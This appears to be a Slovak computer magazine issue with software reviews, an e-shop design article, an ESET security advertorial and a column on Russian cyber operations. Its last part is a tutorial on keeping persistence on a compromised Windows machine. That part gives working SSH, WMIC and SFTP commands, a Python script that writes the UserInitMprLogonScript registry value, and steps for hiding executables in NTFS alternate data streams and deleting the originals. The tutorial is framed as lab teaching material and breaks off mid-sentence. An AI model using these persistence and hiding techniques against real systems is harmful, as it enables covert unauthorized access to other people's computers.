iných aplikácií možnosť importu ich data-
báz, je k dispozícii napr. import z progra-
mov 1Password, Bitwarden, LastPass, 
PassKeeper, RoboForm a ďalších

	jednotlivé záznamy sú organizované v stro-
movej štruktúre, ktorá sa dá ľubovoľne roz-
širovať a upravovať; na rýchlu orientáciu vo 
veľkej databáze možno použiť funkciu vy-
hľadávania 

	každý záznam poskytuje okrem svojho 
názvu, prihlasovacieho mena a hesla 
priestor aj na URL adresu a poznámky; o 
každej položke sa vedie evidencia o čase jej 
vytvorenia a poslednej úpravy a aj o kom-
pletnej histórii zmien hesla

	ak bolo heslo vytvorené používateľom 
alebo externým generátorom hesiel, priamo 
sa vkladá do databázy; je k dispozícii aj vsta-
vaný generátor hesiel

	funkcionalitu programu možno ďalej rozši-
rovať prostredníctvom zásuvných modulov 
dostupných na domovskej stránke; sú to 
okrem iného moduly na realizáciu záloh a 
synchronizácie, integráciu aplikácie s in-
ternetovými prehliadačmi na jednoduché 
vkladanie prístupového mena a hesla do 
príslušných polí otvorenej webovej stránky, 
implementáciu alternatívnych šifrovacích 
algoritmov a pod.

	aplikácia je distribuovaná aj v prenášateľ-
nej verzii bez potreby inštalácie na pevnom 
disku

	viacjazyčná podpora vrátane slovenského 
jazyka

Mp3tag v3.24
Program na tvorbu a úpravu tag  
informácií obsiahnutých v hudobných  
súboroch vo formáte MP3 a ďalších

Vlastnosti:
	podpora MP3 tagov ID3v1, ID3v2.3 a ID3v2.4; 

program podporuje aj prácu s formátmi MP4, 
M4A, iTunes MP4, MPC, OGG, APE, FLAC, WMA, 
WEBM a ďalšími

	konfigurovateľné zobrazenie údajov o hu-
dobných súboroch môže zahŕňať interpreta 
a názov skladby, názov súboru, poradie stopy, 
rok vydania, žáner, typ kodeku, bitrate a frek-
venciu záznamu, dĺžku záznamu, veľkosť sú-
boru a ďalšie 

	funkcia filtrácie zobrazených položiek a ich zo-
raďovania podľa vybraného kritéria

	možnosť v jednotlivých súboroch alebo hro-
madne v skupinách súborov vytvárať a upra-
vovať  zvolené polia tagov vrátane funkcie 
konverzie obsahu vybraných polí tagu na 
názov súboru a opačne

	náhrada zvolených textových reťazcov alebo 
jednotlivých znakov v tagoch a názvoch súbo-
rov, odstránenie neplatných znakov z názvov 
súborov, konverzia veľkých a malých písmen, 
transkripcia azbuky do latinky a pod.; tvorba 
vlastných skriptov s podporou rôznych operá-
cií, funkcií a logických výrazov

	import textových údajov z vloženého AudioCD 
média, textového súboru alebo z interneto-
vých databáz 

	obrázok obalu albumu sa dá importovať z ex-
terného súboru alebo načítať z internetových 
databáz (Discogs  alebo MusicBrainz)

	automatické vytváranie zoznamov skladieb vo 
formáte M3U

	export zvolených údajov o vybranej množine 
hudobných súborov do zostavy vo formáte 
CSV, HMTL, RTF, SFV alebo TXT

	viacjazyčná podpora vrátane slovenčiny

SHAREWARE, FREEWARE, ÚPLNÉ VERZIE

UŽITOČNÉ SW NÁSTROJE

LOGINLOGIN
ID

PW

LOGIN
ID

PW

ID

PWPWPW

Autor: Dominik Reichl, Nemecko
Štatút: freeware s možnosťou zaslať dobrovoľný príspevok 
autorovi
Dom. stránka: http://keepass.info
Podporované OS: Microsoft Windows 7 – 11

LOGINLOGIN
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PW

LOGIN
ID

PW
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PWPWPW

» PETER HUBINSKÝ
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ID

PW
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PWPWPW

Autor: Florian Heidenreich, Nemecko
Štatút: freeware s dobrovoľným príspevkom autorovi
Dom. stránka: www.mp3tag.de
Podporované OS: Microsoft Windows 7 – 11

Autor: WestByte Software, Ukrajina
Štatút: shareware
Cena registrácie: 9,95 USD za doživotnú licenciu
Dom. stránka: https://westbyte.com/ida
Podporované OS: Microsoft Windows Vista – 11

Registrácia shareware programov
za eurá na www.avir.sk
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V odvetví e-commerce sa bežne stretávam 
s dvoma protichodnými názormi. Podľa 

určitej skupiny ľudí je domovská stránka 
takmer zbytočná a nemá veľký zmysel ju op-
timalizovať a na druhej strane barikády stoja 
zástupcovia domovskej stránky ako hlavného 
vstupného portálu do sveta vášho e-shopu. 

Rozumiem obom pohľadom, majú ro-
zumné odôvodnenie, ale som zástancom 
optimalizovania každej časti webu tak, 
aby spĺňala náš cieľ. Na e-shope je to jed-
noznačne zaujatie zákazníka, vybudovanie 
dôvery (ako sme písali v prvej časti) a finálne 
uskutočnenie nákupu. Zrejme viacerým 
teraz vŕta v hlave, prečo a pre koho môže 
vôbec byť zbytočná domovská stránka? Od-
poveď je jednoduchá a pragmatická, je to 
hlavne z pohľadu platenej reklamy a firiem, 
ktoré zabezpečujú reklamu pre e-shop. Re-
klama, ak je správne nastavená, ide v drvivej 
väčšine do konkrétnych podsekcií e-shopu, 
prípadne presných kategórií alebo dokonca 
na konkrétne detaily produktu. Z tohto po-
hľadu dáva aj tento názor zmysel, ale my 
chceme budovať lojalitu zákazníkov, ktorí 
sa k nám radi vrátia a ktorí nášmu e-shopu 
dôverujú natoľko, že v ňom hľadajú žiadaný 
sortiment.

Čo sú základné stavebné kamene 
domovskej stránky e-shopu?
Domovská stránka musí byť optimalizo-
vaná na to, aby zaujala návštevníka, predo-
strela mu šírku portfólia, ktoré ponúkame v 
e-shope, presvedčila, že náš e-shop je ten 
pravý, a ubezpečila v tom, že tovar dostane 
včas a v požadovanej kvalite. Z toho dôvodu 
sa na domovskej stránke zvyknú nachádzať 
funkčné prvky, ako sú:

 Bannery
Bannery sú vyslovene vizuálne prvky, ktoré pri 
neuváženom používaní dokážu stránku vizuálne 
presýtiť a zmiasť návštevníka. Jednoznačne od-
porúčame ako maximálny počet na zobrazenie 
tri reklamné bannery. Z týchto troch maximálne 
jeden dynamický, ktorý rotuje automaticky. 
Nechceme, aby po návšteve e-shopu potenciál-
neho zákazníka rozbolela hlava.

 Kategorické menu
Kategorické menu reprezentuje kategórie, 
kam sa návštevník môže ponoriť a kde nájde 
produkty. Preto by sa toto menu malo dať 
ľahko nájsť a malo by byť vizuálne jemne 
odlíšené, aby vystupovalo do popredia. 
Nezriedka v e-shopoch, ktoré navrhujeme, 
zobrazujeme pre mobilné rozhranie špeci-
álne klikateľné položky menu, ktoré atrak-
tívne reprezentujú šírku portfólia e-shopu. V 
jednoduchosti to znamená, že ak napríklad 
predávame tenisky, batohy a korčule, boli by 
tam tieto tri tlačidlá. Znie to jednoducho, ale 
e-shopy mávajú kategórie prekomplikované, 
produkty sa v nich prekrývajú. Maximálne 
zjednodušenie a odprezentovanie na domov-
skej stránke pomáha orientácii na e-shope.

 Prvky dôveryhodnosti
Patria medzi najdôležitejšie prvky vôbec. 
Tieto prvky a vaše hodnoty majú byť kon-
cipované tak, aby presvedčili zákazníka, že 
práve ten váš e-shop je na základe X rokov 
skúseností, Y tisícov objednávok a Z spokoj-
ných zákazníkov ten pravý. Prvky dôveryhod-
nosti by mali zrkadliť to, v čom je náš e-shop 
unikátny a na akých hodnotách je postavený.

 Produkty
Neoddeliteľnou súčasťou každého e-shopu 
sú produkty, ktoré sa na ňom dajú zakú-
piť. Preto ich zobrazenie a promovanie na 
domovskej stránke je opodstatnené. Zvyk-
neme ho prekrývať inými prvkami preto, aby 

výstup nebol monotónny a nudný. Produkty 
umiestňujeme podľa atraktívnosti a priority 
obchodu odvrchu stránky nadol.

TIP: Pohyblivé prvky, familiárne nazývané kolo-
toče, už nepoužívame. Chyba tohto všeobecne 
rozšíreného prvku bola v tom, že kým návštevník 
zaregistroval vôbec prvý produkt, už bol preč. My 
implementuje produktový pás s podporou hori-
zontálneho posuvníka. Na mobiloch je to priro-
dzený pohyb prstom do strany.

Ďalšie prvky
Okrem spomenutých, ktoré pokladám za naj-
dôležitejšie, existuje nepreberné množstvo 
ďalších prvkov, ktoré dokážu rozšíriť akúkoľvek 
stránku vášho e-shopu. Rozumieme pod nimi 
promovanie vernostného systému, blog, sta-
tické stránky, sekciu o nás, históriu firmy a pod.

Ako rozložiť domovskú stránku?
Pri vytváraní domovskej stránky e-shopu je 
dôležité vyhnúť sa zbytočným a nadbytočným 
dizajnovým prvkom, ktoré len zaťažujú návštev-
níka a sťažujú mu orientáciu. Umiestnite dôležité 
prvky, ako sú kategórie a prvky dôveryhodnosti, 
na viditeľné miesta. Navigačné menu nechajte 
nápadné a farebne odlíšené. Pridajte obrázky 
k produktom, ak je dostatok priestoru, a uistite 
sa, že obsahové bloky sú vizuálne rozlíšené. 
Reklamy neumiestňujte priamo nad produkty. 
Výzvy na akciu (CTA) urobte výrazné, pričom tla-
čidlá fungujú lepšie než textové odkazy. Hlavné 
CTA by malo byť najnápadnejšie. Ak máte se-
kundárnu CTA, mala by byť menej nápadná. CTA 
by mala byť zvýraznená vizuálnymi signálmi, aby 
bola čo najviac viditeľná a efektívna.

Vizuálna hierarchia by mala sledovať hierar-
chiu informácií, pričom transakčné menu (ka-
tegórie) by malo byť umiestnené viditeľne a na 
prominentnejšie miesto než menu s obsahom. 
Prvky dôveryhodnosti by sa mali nachádzať nad 
zlomom stránky. Ak máte dostatok priestoru, 
zobrazte vedľa kategórií produktov obrázky 
alebo ich miniatúry/ikony. Jednotlivé bloky ob-
sahu by mali byť vizuálne odlišné a medzi nimi 
má byť dostatočne veľké miesto, aby prispelo k 
vizuálnemu oddeleniu.  Vo všeobecnosti teda 
platí, že ak si predstavíme obrazovku notebooku, 
návštevník by mal bez toho, aby musel hýbať 
myšou, vidieť tie najdô-
ležitejšie prvky, ktoré 
mu ukážu šírku portfólia, 
presvedčia a vybudujú 
dôveru a zaujmú jeho 
pozornosť natoľko, aby 
na stránke zotrval.

»  IVAN KOPČÍK, FOR BEST CLIENTS, s. r. o. 

PORADÍ VAM EXPERT NA E-SHOPY
Ivan Kopčík je e-commerce konzultant zo spoločnosti For Best Clients, s.r.o., 
ktorý poskytuje expertné poradenstvo ambicióznym alebo stagnujúcim 
e-shopom, ktoré si chcú rozšíriť a zmeniť pohľad na ich online biznis. 
Vďaka viac ako desaťročným skúsenostiam s tvorbou e-shopov dokáže 
ponúknuť pohľad, ktorý v sebe spája viacero odvetví potrebných 
na budovanie úspešných e-shopov. 

www.forbestclients.com, www.grandus.sk
tel.: 0904 313 492  
e-mail: info@forbestclients.com
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Viac informácií:

Tento článok je súčasťou ročnej série článkov Ako si zlepšiť 
e-shop, zameraných na budovanie, zlepšenie a pretvorenie 
e-shopu. V seriáli sa dotkneme filozofických, technických, ale 
aj dizajnových zlepšení.



Napriek tomu, že menšie firmy nedisponujú 
takými rozsiahlymi zdrojmi ako veľké glo-

bálne spoločnosti, využívajú dôverné a cenné 
informácie, ktoré treba chrániť. Vo firmách, ktoré 
nemajú vlastných bezpečnostných expertov, 
riešia dilemu, ako zabezpečiť svoje IT prostre-
die pred potenciálnymi hrozbami a ako riešiť 
prípadné bezpečnostné incidenty. Hlavne malé 
firmy sú v mnohých prípadoch bezbranné z dô-
vodu nedostatku odborných znalostí či kapacít. 
Ani zaužívaný reaktívny prístup na moderné 
hrozby nestačí, je potrebné zavádzať proaktívne 
preventívne opatrenia, pretože kybernetickí 
zločinci sú čoraz sofistikovanejší v prenikaní do 
firemných sietí. Nie každá firma má však kapa-
city na to, aby jej bezpečnostné opatrenia držali 
krok s čoraz sofistikovanejšími kybernetickými 
hrozbami. Úmyselne spomíname kapacity, nie 
prostriedky, pretože aj firmy, ktoré sú ochotné 
investovať do vlastného bezpečnostného tímu, 
môžu mať problém skutočne získať kvalifikova-
ných zamestnancov.

Riešením je zveriť zabezpečenie IT infra
štruktúry skúseným špecialistom formou out-
sourcingu. Spravované bezpečnostné riešenia 
typu MDR (Managed Detection and Response) 
poskytujú odborné monitorovanie a reakciu na 
hrozby externou firmou bez potreby vlastného 
IT personálu. MDR je moderný spôsob zabezpe-
čenia firemných IT systémov, ktorý sa zameriava 
na proaktívne detegovanie, reagovanie a pred-
chádzanie kybernetickým hrozbám. Poskytuje 
nepretržité monitorovanie a analýzu sieťovej a 
systémovej aktivity, čo umožňuje včasné odha-
lenie podozrivej alebo škodlivej činnosti. Tento 
prístup zabezpečuje, že potenciálne hrozby 
sú identifikované skôr, než môžu spôsobiť vý-
znamné škody. V súvislosti s kybernetickou 
bezpečnosťou poskytovanou formou služby 
sa využíva aj MSSP (Managed Security Service 
Provider), teda poskytovateľ spravovaných bez-
pečnostných služieb. Tieto služby sú však kon-
cipované tak, aby boli reaktívne a zameriavali sa 
na zraniteľné miesta. Služby MDR sa zameriavajú 
viac na detekciu, reakciu a vyhľadávanie hrozieb. 
Inak povedané, MSSP rozpoznajú bezpečnostné 
problémy, ale nie sú schopné odhaliť podrob-
nosti o hrozbe, ktoré poskytujú služby MDR. 
MDR zahŕňa nielen technologické riešenia, ale 
aj ľudský prvok. Zákazníci majú prístup ku sku-
pine bezpečnostných špecialistov poskytovateľa 

služby, ktorí sú zodpovední za monitorovanie 
sietí, analýzu incidentov a včasné reagovanie. 
Častým problémom sú nejednoznačné bezpeč-
nostné upozornenia, ktoré sa nedajú presne 
identifikovať ako hrozba a musia sa kontrolovať 
individuálne. To zahŕňa aj koreláciu čiže hľadanie 
súvislostí, pretože aj upozornenia na zdanlivo ne-
významné problémy môžu indikovať rozsiahly 
prebiehajúci útok. 

Podobne ako pri iných službách aj v prípade 
MDR je dôležité vybrať renomovaného posky-
tovateľa, ktorý má k dispozícii tímy bezpečnost-
ných analytikov a hlavne dlhoročné skúsenosti v 
oblasti kybernetickej bezpečnosti. Poskytovateľ 
služby by mal využívať najnovšie technológie a 
nástroje na detekciu hrozieb vrátane AI strojo-
vého učenia. Dôležité kritérium je, aby sa služby 
poskytovateľa MDR dali ľahko integrovať do 
vašej súčasnej IT infraštruktúry. 

Služba ESET MDR je primárne určená pre malé 
a stredné firmy. Zabezpečuje monitorovanie fi-
remných IT systémov a sietí, odhaľovanie a vyhľa-
dávanie hrozieb, včasnú reakciu na incidenty a 
účinné techniky detekcie a reakcie. Služba je do-
stupná ako doplnok k riešeniam ESET PROTECT 
Enterprise a ESET PROTECT Elite. Je navrhnutá 
tak, aby odborníci zo spoločnosti ESET okam-
žite vyšetrili bezpečnostné incidenty, prerušili 
všetky škodlivé aktivity a zastavili útočníkov. Je 
prispôsobená na riešenie výziev v hybridných 
pracovných prostrediach prostredníctvom vy-
hľadávania hrozieb, ich monitorovania a reakcie 
na ne, ako aj zavádzania spoľahlivých bezpeč-
nostných opatrení, ktoré zodpovedajú potre-
bám zákazníkov spomedzi malých a stredných 
firiem. Služba je špeciálne prispôsobená zložitým 
podmienkam hybridných pracovných prostredí, 
zameriava sa na vyhľadávanie hrozieb (threat 
hunting), ich monitorovanie (threat monitoring) 
a reakciu na ne, čím zaisťuje implementáciu účin-
ných bezpečnostných opatrení prispôsobených 
zákazníkom rôznych veľkostí s odlišnými úrov-
ňami vyspelosti zabezpečenia. ESET na tento 
účel využíva vlastné inovatívne bezpečnostné 
technológie na zber dát, najmä z oblastí, ktoré 
sú vystavené útokom sofistikovaných skupín 
kybernetických zločincov. Na zaistenie účinnej 
ochrany pred hrozbami majú zákazníci prístup 
aj ku knižnici príznakov podozrivého správania a 
možnosť vytvárať vlastné vzorce pravidiel, ktoré 
spúšťajú príslušné akcie v odpovedi na konkrétne 

detekcie aj podozrivé správanie, spustiteľné sú-
bory a procesy. Tím MDR v prípade incidentu 
dokáže izolovať napadnuté systémy, eliminovať 
hrozby a zabezpečiť, aby boli systémy obnovené 
do bezpečného stavu s minimálnym prerušením 
prevádzky.

Firmy využívajúce túto službu zverujú správu 
rozšírenej detekcie a reakcie (XDR) či analýzu 
najnovších hrozieb skúseným expertom zo 
spoločnosti ESET. Preto na efektívne využívanie 
pokročilých bezpečnostných nástrojov nepo-
trebujú vlastné kapacity. Aj keby malá či stredná 
firma zamestnávala bezpečnostných expertov, 
ich skúsenosti týkajúce sa proaktívnych analýz a 
hlavne bezprostrednej a účinnej reakcie na inci-
denty sa nedajú porovnávať s expertmi, ktorí ta-
kéto prípady riešia na dennej báze. Pri využívaní 
služby ESET MDR sa interné bezpečnostné tímy 
firiem môžu sústrediť na strategické iniciatívy.

Služba ESET MDR kombinuje možnosti 
automatizácie s využitím umelej inteligencie, 
odborné znalosti a komplexné informácie o 
hrozbách na zaistenie bezkonkurenčnej detek-
cie hrozieb a reakcie na incidenty. Služba uľah-
čuje dodržiavanie právnych predpisov a pomáha 
firmám zaistiť kontrolné mechanizmy digitálnej 
bezpečnosti, ktoré sú kľúčovou podmienkou po-
istného krytia. 

Služby MDR presahujú rámec bežných bez-
pečnostných opatrení, keďže aktívne vyhľa-
dávajú a identifikujú potenciálne hrozby skôr, 
ako môžu spôsobiť škody. Sú prispôsobené na 
odhaľovanie narušení zabezpečenia v rámci 
komplexného prostredia hybridnej práce a na 
zlepšenie schopností účinne reagovať na vyví-
jajúce sa kybernetické hrozby, ako je napríklad 
ransomvér ako služba (RaaS). Služby sú navrh-
nuté tak, aby sa prispôsobili špecifickým potre-
bám a požiadavkám každej firmy bez ohľadu na 
veľkosť, odvetvie alebo špecifické bezpečnostné 
výzvy, MDR môže poskytnúť prispôsobené rie-
šenie, ktoré najlepšie vyhovuje individuálnym 
potrebám firiem a organizácií. Využitím týchto 
služieb môžu firmy výrazne znížiť náklady spo-
jené s nákupom, implementáciou a správou 
bezpečnostnej infraštruktúry a softvéru. Takisto 
odpadá nutnosť neustáleho školenia interného 
personálu ohľadne najnovších bezpečnostných 
hrozieb a technológií.

Služby MDR poskytujú alternatívu k zaisteniu 
IT bezpečnosti interným tímom. V konečnom 
dôsledku je nielen účinnejšia, ale aj ekonomicky 
výhodnejšia, pretože úroveň podnikového mo-
nitorovania, detekcie a analýzy hrozieb drží krok 
s modernými hrozbami. 

»  ESET  
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Nedávno sme si pripomenuli nielen druhé 
výročie ruskej vojenskej agresie u nášho 

východného suseda, ale aj odvahu a statočnosť 
Ukrajincov v tomto boji. Technológie ESETu a 
poznatky našich výskumníkov chránia ukra­
jinskú IT infraštruktúru už mnoho rokov. Od 
začiatku ruskej invázie vo februári 2022 ESET 
zabránil značnému počtu útokov, ktoré spustili 
skupiny napojené na Rusko. Ruská vraždiaca ma­
šinéria teda nemá na svedomí iba ľudské obete 
a zničené domovy, ale odohráva sa aj v kyber­
netickom priestore. A snaží sa útočiť aj na srd­
cia a mysle Ukrajincov, demoralizovať ich stále 
väčšími dávkami psychologických operácií aj v 
kyberpriestore.

Nedávno sme v našom Labe odhalili operáciu 
Texonto, dezinformačnú kampaň a psycholo­
gickú operáciu, ktorá sa šírila prostredníctvom 
spamových e-mailov. Pomocou správ zaslaných 
v dvoch vlnách sa útočníci napojení na Rusko 
snažili ovplyvniť ukrajinských občanov a demo­
ralizovať ich najrôznejšími falošnými správami. 
Prvá vlna sa uskutočnila v novembri a druhá kon­
com decembra 2023. Obsah e-mailov sa týkal 
prerušenia vykurovania či nedostatku liekov a 
potravín, čo sú typické témy ruskej propagandy. 

Okrem toho sme v októbri 2023 odhalil 
spearphishingovú kampaň, ktorá bola zameraná 
na ukrajinskú spoločnosť pôsobiacu v oblasti 
obrany, a v novembri 2023 kampaň zameranú 
na agentúru EÚ. Kampaň využívala falošné pri­
hlasovacie stránky spoločnosti Microsoft. Cieľom 
oboch kampaní bolo ukradnúť prihlasovacie 
údaje do účtov Microsoft Office 365. Vzhľadom 
na podobnosti v sieťovej infraštruktúre používa­
nej v týchto psychologických a phishingových 
operáciách môžeme s vysokou mierou istoty 
konštatovať, že sú prepojené.

Od začiatku vojny na Ukrajine sa pritom 
hackerské skupiny napojené na Rusko, ako na­
príklad Sandworm, sústredili na narúšanie ukra­
jinskej IT infraštruktúry pomocou wiperov, teda 
malvérov určených na mazanie obsahu. Viackrát 
som o tom písal aj v tomto pravidelnom stĺpčeku. 
V posledných mesiacoch sme však zaznamenali 
aj nárast kybernetických špionážnych operácií, 
najmä zo strany neslávne známej skupiny Gama­
redon. Operácia Texonto ukazuje ďalšie využitie 
technológií v snahe ovplyvniť vojnu.

Osobitý spôsob špionáže, informačných operá­
cií a falošných správ o liekoch nám môže pripomí­
nať len Callisto, známu kyberšpionážnu skupinu 
napojenú na Rusko, ktorej niektorí členovia boli v 
decembri 2023 predmetom obžaloby amerického 
ministerstva spravodlivosti. Callisto sa prostred­
níctvom spearphishingových webových stránok, 
ktoré majú napodobňovať rozšírené cloudové 
služby, zameriava na vládnych úradníkov, za­
mestnancov think-tankov a organizácií súvisiacich 
s armádou. Skupina stojí aj za dezinformačnými 
operáciami, ako napríklad únik dokumentov 
tesne pred parlamentnými voľbami v Spojenom 
kráľovstve v roku 2019. Hoci medzi operáciou 
Texonto a operáciami z dielne skupiny Callisto 
existuje niekoľko významných podobností, nezis­
tili sme žiadne technické prekrývanie a operáciu 
Texonto v súčasnosti nepripisujeme konkrétnej 
skupine. Vzhľadom na taktiku, zacielenie a šírenie 
správ však v ESETe operáciu pripisujeme skupine 
napojenej na Rusko.

Pri analýze sme objavili aj názvy domén, ktoré 
sú súčasťou operácie Texonto a ktoré súvisia s 
vnútornými ruskými témami, ako je Alexej Na­
vaľnyj, známy ruský opozičný líder, ktorý bol 
väznený a nedávno zomrel za podozrivých 
okolností. To znamená, že operácia Texonto 
pravdepodobne zahŕňa spearphishing alebo 
informačné operácie zamerané na ruských disi­
dentov a podporovateľov opozičného politika.

Cieľom prvej vlny dezinformačných e-mailov 
bolo zasiať v mysliach Ukrajincov pochybnosti. 
Nič nenasvedčuje tomu, že by v tejto konkrét­
nej vlne e-mailov boli aj nejaké škodlivé odkazy 
alebo malvér, iba dezinformácie. Jedna doména, 
ktorá sa vydáva za Ministerstvo agrárnej politiky 
a potravín Ukrajiny, odporúča nahradiť nedo­
stupné lieky bylinkami. Ďalšia správa vydáva­
júca sa za e-mail z ministerstva odporúča jesť 
„holubie rizoto“ s priloženou fotografiou živého 
holuba a uvareného holuba. Tieto dokumenty 
boli účelovo vytvorené s cieľom vyburcovať a 
demoralizovať čitateľov. Celkovo sú tieto fa­
lošné správy v súlade s bežnými témami ruskej 
propagandy. Snažia sa presvedčiť Ukrajincov, že 
v dôsledku rusko-ukrajinskej vojny nebudú mať 
lieky, potraviny a kúrenie.

Približne mesiac po prvej vlne ESET zazname­
nal druhú e-mailovú kampaň, zameranú nielen 

na Ukrajincov, ale aj na osoby v iných európ­
skych krajinách. Ciele vyzerajú náhodne zvo­
lené, od ukrajinskej vlády až po taliansku firmu 
na výrobu obuvi. Podľa telemetrie spoločnosti 
ESET dostalo v tejto vlne e-maily niekoľko sto­
viek ľudí. Druhá vlna bola svojím obsahom ešte 
drastickejšia, pričom útočníci navrhovali ľuďom 
amputáciu nohy alebo ruky, aby sa vyhli povo­
laniu do armády. Vcelku táto kampaň obsahuje 
všetky charakteristiky psychologickej operácie 
počas vojny.

No aktívne sú aj operácie v iných horúcich 
geopolitických zónach. Za všetky spomeniem 
náš nedávny výskum, keď sme identifikovali 12 
špionážnych aplikácií pre Android, ktoré zdie­
ľajú rovnaký škodlivý kód, pričom šesť z nich 
bolo dostupných aj v obchode Google Play. 
Všetky aplikácie sa vydávali za nástroje na za­
sielanie správ – okrem jednej, ktorá sa vydá­
vala za spravodajskú aplikáciu. Tieto aplikácie 
na pozadí tajne spúšťajú malvér – trójsky kôň 
umožňujúci vzdialený prístup (remote access 
trojan – RAT) s názvom VajraSpy, ktorý používa 
na cielenú špionáž APT skupina Patchwork. 
Kampaň sa zamerala najmä na používateľov 
v Pakistane. Na základe našej analýzy útočníci 
pravdepodobne použili romantické pasce, aby 
svoje obete nalákali na inštaláciu škodlivého 
softvéru. Podľa databázy MITRE ATT&CK ne­
bola skupina Patchwork definitívne priradená 
k žiadnej krajine a len nepriame indície na­
značujú, že by mohlo ísť o proindickú alebo 
indickú skupinu. Jej útočníci sa zameriavajú 
najmä na diplomatické a vládne subjekty.

V ESETe budeme aj tento rok pokračovať v 
práci, aby sme chránili viac ako sto miliónov 
používateľov našich technológií úplne všade vo 
svete vrátane Ukrajiny, ktorej som sa opäť veno­
val najširšie. Ale to samo osebe nestačí. Otvorené 
srdcia pre pomoc ľuďom v núdzi by sme mali 
mať my všetci. Lebo dnes potrebujú ľudia pomoc 
na východ od nás a zajtra to môžeme byť my. S 
touto myšlienkou vám aj 
tento mesiac želám pre­
dovšetkým bezpečný čas 
strávený vo virtuálnom 
priestore.

BRANISLAV ONDRÁŠIK,   
ESET

RUSKÁ VOJNA PROTI UKRAJINE NEZMIZLA. 
ANI TÁ V KYBERNETICKOM PRIESTORE 
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Táto časť seriálu bude nepriamym 
pokračovaním 10. časti, v rámci ktorej sme 
opísali jednu z mnohých možností, resp. 
princípov, ako na cieľovom zariadení zacho-
vať našu prítomnosť (maintain persistence). 
Zameriame sa na metódu využitia prihlaso-
vacích skriptov (Logon Scripts) so súčasným 
opisom možností skrytia programových sú-
borov prostredníctvom tzv. New Technology 
File System (NTFS) Alternate Data Streams 
(ADSs).

Čo chceme vykonať?
Znovu si predstavme prípad, keď sme pri-
hlásení na cieľovom zariadení, a keďže 
predpokladáme, že naše ťažko získané pri-
hlasovacie údaje budeme vedieť využiť iba 
raz, nevyhnutne musíme urobiť niečo, čo 
nám umožní prihlásiť sa aj nabudúce. Jedna 
z možností je spúšťať na cieľovom počítači 
program, ktorý nás bude informovať o práci 
používateľa, vykonávaných zmenách či 
priamo zasielať citlivé údaje vrátane zmene-
ných prihlasovacích údajov. (Poznámka: Na 
podobnom princípe pracuje aj služba DDNS.) 
Opakovane na to využijeme nám známy 
spôsob modifikácie registra OS Windows, no 
tentoraz nebudeme modifikovať kľúč Com-
puter\HKEY_CURRENT_USER\SOFT WARE\
Microsoft\Windows\CurrentVersion\Run, ale 
kľúč Computer\HKEY_USERS\userSID\Envi-
ronment. Uvedený kľúč obsahuje údaj (value) 
UserInitMprLogonScript, ktorého hodnota, 
resp. príkaz (skript) je spúšťaný v okamihu 
prihlásenia sa používateľa s daným userSID 
do operačného systému. Podobný princíp je 
aplikovaný aj v prostrední OS Linux, ibaže nie 
prostredníctvom registra, ale cestou prísluš-
ných skriptov nachádzajúcich sa v domov-
ských zložkách jednotlivých používateľov.

Pracovný postup
Použijeme rovnaké pracovné prostredie ako v 
10. časti seriálu, ktorého komponenty sú nasle-
dujúce (obr. 1):

Naším cieľom je modifiká-
cia registra cieľového PC s na-
inštalovaným OS Windows, 
čím zabezpečíme automa-
tické spúšťanie príslušného 
programu, ktorý bude vy-
konávať nami požadované 
úlohy. Na ukážku budeme 
spúšťať Windows Command 
Interpreter cmd.exe. Postup 
práce je nasledujúci:
1. Prihlásime sa na cieľový 
počítač pomocou služby SSH 
a s využitím nástroja WMI 
command-line (WMIC) utility 
získame tzv. Security Identi-
fier (SID) používateľa:

ssh jojo@192.168.1.3

wmic useraccount where na-

me=‘jojo’ get sid

Poznámka: SIDs sú určené na 
jednoznačnú identifikáciu po-
užívateľov, skupín alebo pro-
cesov v rámci OS Windows.

2. Vo virtuálnom PC v rámci OS Windows vy-
tvoríme súbor AddLogonScript.py s nasledujú-
cim obsahom:
import winreg

# wmic useraccount where name='jojo' get sid

userSID = 'S-1-5-21-2376678190-561662428-

3969158590-1000'

regPath = userSID+'\\Environment'

regKey = winreg.OpenKey(winreg.HKEY_USERS,

regPath,0,access = winreg.KEY_WRITE)

winreg.SetValueEx(regKey,'UserInitMprLogon-

Script',0,winreg.REG_SZ,'cmd.exe')

a navyše súbor ADS.py s obsahom:

import os

exePath = os.path.join(os.getcwd(),'tajny.tx-

t:tajny.exe')

os.system('wmic process call create '+exePath)

Obidva súbory transformujeme pomocou ná-
stroja PyInstaller na ich spustiteľné ekvivalenty 
EXE.

3. Prihlásime sa na cieľový počítač pomocou 
služby SFTP a súbory EXE nahráme do domov-
skej zložky používateľa jojo:
sftp jojo@192.168.1.3

put AddLogonScript.exe

put ADS.exe

bye

4. V rámci SSH session vytvorenej v prvom 
kroku skryjeme obsah súborov EXE do ADSs 
súboru tajny.txt:
type AddLogonScript.exe > tajny.txt:tajny.exe

type ADS.exe > tajny.txt:ads.exe

a pôvodné súbory EXE odstránime:

del AddLogonScript.exe

del ADS.exe

Poznámka: ADSs boli vytvorené ako jedna z 
výhodných vlastností systému NTFS z dôvodu 
kompatibility so zariadeniami používajúcimi 
Macintosh Hierarchical File System (HFS), pričom 
umožňujú v alternatívnych streamoch ukladať 
rôzne manažmentové dáta vrátane spustiteľ-
ného kódu ľubovoľného typu. Pri práci s ADSs 
treba mať na zreteli niekoľko obmedzení, ako 
napr. nemožnosť skopírovania streamov na iný 
systém ako NTFS, resp. ich ignorovanie kompres-
nými službami, v rámci ktorých treba existenciu 
ADSs explicitne deklarovať.

Obsah ADS súboru tajny.txt dokážeme zobra-
ziť pomocou príkazu:
dir /R tajny.txt

Python a kybernetická bezpečnosť  / 12. časť
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Zariadenie IP Nástroje Význam

Náš PC 192.168.1.60
Linux
VirtualBox
SSH klient

Počítač útočníka s nainštalovaným VirtualBox – virtuálnym PC s 
Windows, prihlásenie sa k cieľovému PC s využitím služieb SFTP 
a SSH

Virtuálny PC 192.168.1.10
Windows
Python
PyInstaller

Virtuálny PC s Windows + Python + PyInstaller, príprava  
súborov AddLogonScript.exe a ADS.exe

Cieľový PC 192.168.1.3
Windows
SSH server

Cieľový PC s nainštalovaným SSH serverom, meno fiktívneho 
používateľa je jojo (v našom prípade je to takisto virtuálny PC)

» OBR. 1  KOMPONENTY PRACOVNÉHO PROSTREDIA  NA VYKONANIE ÚTOKU
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pričom by sme mali získať nasledujúci výstup:

0	 tajny.txt

7,238,224	tajny.txt:ads.exe:$DATA

7,238,363	tajny.txt:tajny.exe:$DATA

5. Vytvoríme tzv. symbolický odkaz na jeden z 
ADSs súboru tajny.txt:
mklink path\ads.exe path\tajny.txt:ads.exe

a spustíme program ads.exe. Následne mô-
žeme symlink odstrániť.

Výsledok
Uvedeným postupom zabezpečíme, že po 
